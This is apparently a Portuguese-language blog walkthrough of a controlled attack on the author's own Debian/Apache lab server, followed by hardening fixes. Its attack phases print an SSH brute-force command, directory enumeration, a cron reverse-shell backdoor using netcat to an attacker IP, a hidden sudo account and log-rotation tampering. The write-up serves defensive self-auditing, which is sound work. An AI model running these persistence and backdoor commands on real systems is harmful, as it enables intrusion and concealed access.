Invasão do Bem: invadi meu próprio servidor Debian rodando Apache (e você também deveria invador o seu)

Introdução:
Este não é um relato de ficção ou um exercício teórico. É um ataque real e controlado, conduzido por mim contra meu próprio servidor Debian, utilizando técnicas amplamente conhecidas no cenário ofensivo. O objetivo: mapear brechas reais e aplicar correções com precisão cirúrgica. Segurança não se constrói com achismo, mas com evidência prática.


Estrutura do laboratório

Servidor Alvo (Debian 12):

  • Apache 2.4
  • PHP 8.2 via FPM
  • MariaDB 10.11
  • SSH ativo na porta 22
  • Sem firewall
  • Sem fail2ban
  • Backup de banco exposto em /var/www/html/backup
  • Acesso root via senha (proposital para o teste)

Máquina Atacante (Kali Linux):

  • Nmap
  • Hydra
  • Gobuster
  • Medusa
  • mysql-client
  • John the Ripper

Fase 1 – Reconhecimento

1.1 – Escaneamento de portas

nmap -sV -Pn -T4 192.168.0.10

Resultado:

22/tcp   open  ssh     OpenSSH 9.2p1 Debian
80/tcp   open  http    Apache httpd 2.4.57 ((Debian))
3306/tcp open  mysql   MariaDB 10.11.2-MariaDB-1

Problemas identificados:

  • SSH aberto como root com senha
  • MariaDB escutando na rede
  • Apache servindo arquivos sensíveis

Fase 2 – Ataque

2.1 – Força bruta SSH

hydra -l root -P /usr/share/wordlists/rockyou.txt ssh://192.168.0.10

Senha descoberta: 123456

2.2 – Enumeração de diretórios no Apache

gobuster dir -u http://192.168.0.10/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt

Descobertas:

/backup (Status: 200)
/phpinfo.php (Status: 200)

2.3 – Vazamento de banco de dados

  • A URL http://192.168.0.10/backup/db.sql.zip expunha todo o schema.
  • Senhas em MD5 na tabela users.

2.4 – Acesso remoto ao banco

mysql -h 192.168.0.10 -u root -p

Acesso autorizado via rede. Isso por si só é um desastre em ambientes reais.


Fase 3 – Escalada de privilégios e persistência

3.1 – Backdoor via cron

echo "*/5 * * * * root nc -e /bin/bash 192.168.0.9 4444" >> /etc/cron.d/ssh_backdoor

3.2 – Criação de usuário oculto

useradd -M -s /bin/bash -G sudo sys_backup
echo 'sys_backup:Zxc123!@#' | chpasswd

3.3 – Manipulação de logs

sed -i 's/create 640 syslog adm/create 640 root root/' /etc/logrotate.d/rsyslog

Fase 4 – Correções

4.1 – Endurecimento do SSH

Arquivo: /etc/ssh/sshd_config

Port 2222
PermitRootLogin no
PasswordAuthentication no
systemctl restart ssh

4.2 – Firewall com iptables

apt install iptables-persistent -y

iptables -F
iptables -A INPUT -p tcp --dport 2222 -j ACCEPT
iptables -A INPUT -p tcp --dport 80 -j ACCEPT
iptables -A INPUT -p tcp --dport 443 -j ACCEPT
iptables -A INPUT -m conntrack --ctstate ESTABLISHED,RELATED -j ACCEPT
iptables -A INPUT -j DROP

netfilter-persistent save

4.3 – Proteção no Apache

Desabilitar listagem de diretórios

<Directory /var/www/>
    Options -Indexes +FollowSymLinks
    AllowOverride All
</Directory>

Remover arquivos sensíveis

rm -rf /var/www/html/backup
rm /var/www/html/phpinfo.php

Restringir funções PHP perigosas

disable_functions = exec,passthru,shell_exec,system,proc_open,popen,curl_exec

4.4 – Restrição de escuta do MariaDB

Arquivo: /etc/mysql/mariadb.conf.d/50-server.cnf

bind-address = 127.0.0.1

SQL local:

DELETE FROM mysql.user WHERE User='';
UPDATE mysql.user SET plugin='unix_socket' WHERE User='root';
FLUSH PRIVILEGES;

Fase 5 – Monitoramento com watchdog local

5.1 – Watchdog para Apache

Arquivo: /etc/systemd/system/apache-watchdog.service

[Unit]
Description=Watchdog do Apache
After=network.target

[Service]
ExecStart=/usr/sbin/apachectl -k start
Restart=always
RestartSec=5

[Install]
WantedBy=multi-user.target
systemctl enable apache-watchdog
systemctl start apache-watchdog

Conclusão

A segurança do seu servidor não é definida pelas atualizações automáticas. É definida pela sua capacidade de pensar como um atacante e corrigir o que você mesmo exploraria. O tempo entre um servidor vulnerável e um ataque automatizado na internet é de minutos. A diferença entre o caos e a integridade está no quanto você testa antes.

A verdadeira maturidade técnica é se autoauditar como se fosse um adversário.
Este é o espírito da invasão do bem. Que ela se torne rotina, não exceção.

Rolar para cima